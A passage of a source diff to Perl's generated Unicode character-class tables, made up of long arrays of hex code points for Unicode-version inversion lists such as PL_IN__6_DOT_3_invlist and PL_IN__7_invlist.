+	0x1F380,
+	0x1F394,
+	0x1F3A0,
+	0x1F3C5,
+	0x1F3C6,
+	0x1F3CB,
+	0x1F3E0,
+	0x1F3F1,
+	0x1F400,
+	0x1F43F,
+	0x1F440,
+	0x1F441,
+	0x1F442,
+	0x1F4F8,
+	0x1F4F9,
+	0x1F4FD,
+	0x1F500,
+	0x1F53E,
+	0x1F540,
+	0x1F544,
+	0x1F550,
+	0x1F568,
+	0x1F5FB,
+	0x1F641,
+	0x1F645,
+	0x1F650,
+	0x1F680,
+	0x1F6C6,
+	0x1F700,
+	0x1F774,
+	0x1FFFE,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2F800,
+	0x2FA1E,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE0000,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0,
+	0xEFFFE,
+	0x110000
+};
 
-#if defined(PERL_IN_REGCOMP_C)
+static const UV PL_IN__6_DOT_3_invlist[] = { /* for all charsets */
+	1098,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x378,
+	0x37A,
+	0x37F,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x528,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x58F,
+	0x590,
+	0x591,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x600,
+	0x605,
+	0x606,
+	0x61D,
+	0x61E,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x830,
+	0x83F,
+	0x840,
+	0x85C,
+	0x85E,
+	0x85F,
+	0x8A0,
+	0x8A1,
+	0x8A2,
+	0x8AD,
+	0x8E4,
+	0x8FF,
+	0x900,
+	0x978,
+	0x979,
+	0x980,
+	0x981,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FC,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF2,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB78,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBFB,
+	0xC01,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC34,
+	0xC35,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5A,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC80,
+	0xC82,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD02,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4F,
+	0xD57,
+	0xD58,
+	0xD60,
+	0xD64,
+	0xD66,
+	0xD76,
+	0xD79,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCE,
+	0xFDB,
+	0x1000,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F5,
+	0x1400,
+	0x169D,
+	0x16A0,
+	0x16F1,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191D,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x19DE,
+	0x1A1C,
+	0x1A1E,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B7D,
+	0x1B80,
+	0x1BF4,
+	0x1BFC,
+	0x1C38,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
+	0x1C80,
+	0x1CC0,
+	0x1CC8,
+	0x1CD0,
+	0x1CF7,
+	0x1D00,
+	0x1DE7,
+	0x1DFC,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x2065,
+	0x2066,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A0,
+	0x20BB,
+	0x20D0,
+	0x20F1,
+	0x2100,
+	0x218A,
+	0x2190,
+	0x23F4,
+	0x2400,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2700,
+	0x2701,
+	0x2B4D,
+	0x2B50,
+	0x2B5A,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CF4,
+	0x2CF9,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D71,
+	0x2D7F,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E3C,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312E,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x32FF,
+	0x3300,
+	0x4DB6,
+	0x4DC0,
+	0x9FCD,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA4D0,
+	0xA62C,
+	0xA640,
+	0xA698,
+	0xA69F,
+	0xA6F8,
+	0xA700,
+	0xA78F,
+	0xA790,
+	0xA794,
+	0xA7A0,
+	0xA7AB,
+	0xA7F8,
+	0xA82C,
+	0xA830,
+	0xA83A,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C5,
+	0xA8CE,
+	0xA8DA,
+	0xA8E0,
+	0xA8FC,
+	0xA900,
+	0xA954,
+	0xA95F,
+	0xA97D,
+	0xA980,
+	0xA9CE,
+	0xA9CF,
+	0xA9DA,
+	0xA9DE,
+	0xA9E0,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAA7C,
+	0xAA80,
+	0xAAC3,
+	0xAADB,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xABC0,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xD800,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBC2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDD0,
+	0xFDFE,
+	0xFE00,
+	0xFE1A,
+	0xFE20,
+	0xFE27,
+	0xFE30,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018B,
+	0x10190,
+	0x1019C,
+	0x101D0,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x1031F,
+	0x10320,
+	0x10324,
+	0x10330,
+	0x1034B,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10857,
+	0x10860,
+	0x10900,
+	0x1091C,
+	0x1091F,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x10A60,
+	0x10A80,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B80,
+	0x10C00,
+	0x10C49,
+	0x10E60,
+	0x10E7F,
+	0x11000,
+	0x1104E,
+	0x11052,
+	0x11070,
+	0x11080,
+	0x110C2,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11144,
+	0x11180,
+	0x111C9,
+	0x111D0,
+	0x111DA,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x12000,
+	0x1236F,
+	0x12400,
+	0x12463,
+	0x12470,
+	0x12474,
+	0x13000,
+	0x1342F,
+	0x16800,
+	0x16A39,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x1B000,
+	0x1B002,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D1DE,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0BF,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0E0,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F19B,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23B,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F300,
+	0x1F321,
+	0x1F330,
+	0x1F336,
+	0x1F337,
+	0x1F37D,
+	0x1F380,
+	0x1F394,
+	0x1F3A0,
+	0x1F3C5,
+	0x1F3C6,
+	0x1F3CB,
+	0x1F3E0,
+	0x1F3F1,
+	0x1F400,
+	0x1F43F,
+	0x1F440,
+	0x1F441,
+	0x1F442,
+	0x1F4F8,
+	0x1F4F9,
+	0x1F4FD,
+	0x1F500,
+	0x1F53E,
+	0x1F540,
+	0x1F544,
+	0x1F550,
+	0x1F568,
+	0x1F5FB,
+	0x1F641,
+	0x1F645,
+	0x1F650,
+	0x1F680,
+	0x1F6C6,
+	0x1F700,
+	0x1F774,
+	0x1FFFE,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2F800,
+	0x2FA1E,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE0000,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0,
+	0xEFFFE,
+	0x110000
+};
 
-static const UV NonL1_Perl_Non_Final_Folds_invlist[] = { /* for EBCDIC 037 */
-	45,	/* Number of elements */
+static const UV PL_IN__7_invlist[] = { /* for all charsets */
+	1220,	/* Number of elements */
 	148565664, /* Version and data structure type */
-	1,	/* 0 if the list starts at 0;
+	0,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x2BC,
-	0x2BD,
-	0x308,
-	0x309,
-	0x313,
-	0x314,
-	0x342,
-	0x343,
-	0x3AC,
-	0x3AD,
-	0x3AE,
-	0x3AF,
-	0x3B1,
-	0x3B2,
-	0x3B7,
-	0x3B8,
-	0x3B9,
-	0x3BA,
-	0x3C1,
-	0x3C2,
-	0x3C5,
-	0x3C6,
-	0x3C9,
-	0x3CA,
-	0x3CE,
-	0x3CF,
-	0x565,
-	0x566,
-	0x574,
-	0x575,
-	0x57E,
-	0x57F,
-	0x1F00,
-	0x1F08,
+	0x378,
+	0x37A,
+	0x380,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x58D,
+	0x590,
+	0x591,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x600,
+	0x61D,
+	0x61E,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x830,
+	0x83F,
+	0x840,
+	0x85C,
+	0x85E,
+	0x85F,
+	0x8A0,
+	0x8B3,
+	0x8E4,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FC,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF2,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB78,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBFB,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5A,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC80,
+	0xC81,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD01,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4F,
+	0xD57,
+	0xD58,
+	0xD60,
+	0xD64,
+	0xD66,
+	0xD76,
+	0xD79,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCE,
+	0xFDB,
+	0x1000,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F5,
+	0x1400,
+	0x169D,
+	0x16A0,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x19DE,
+	0x1A1C,
+	0x1A1E,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
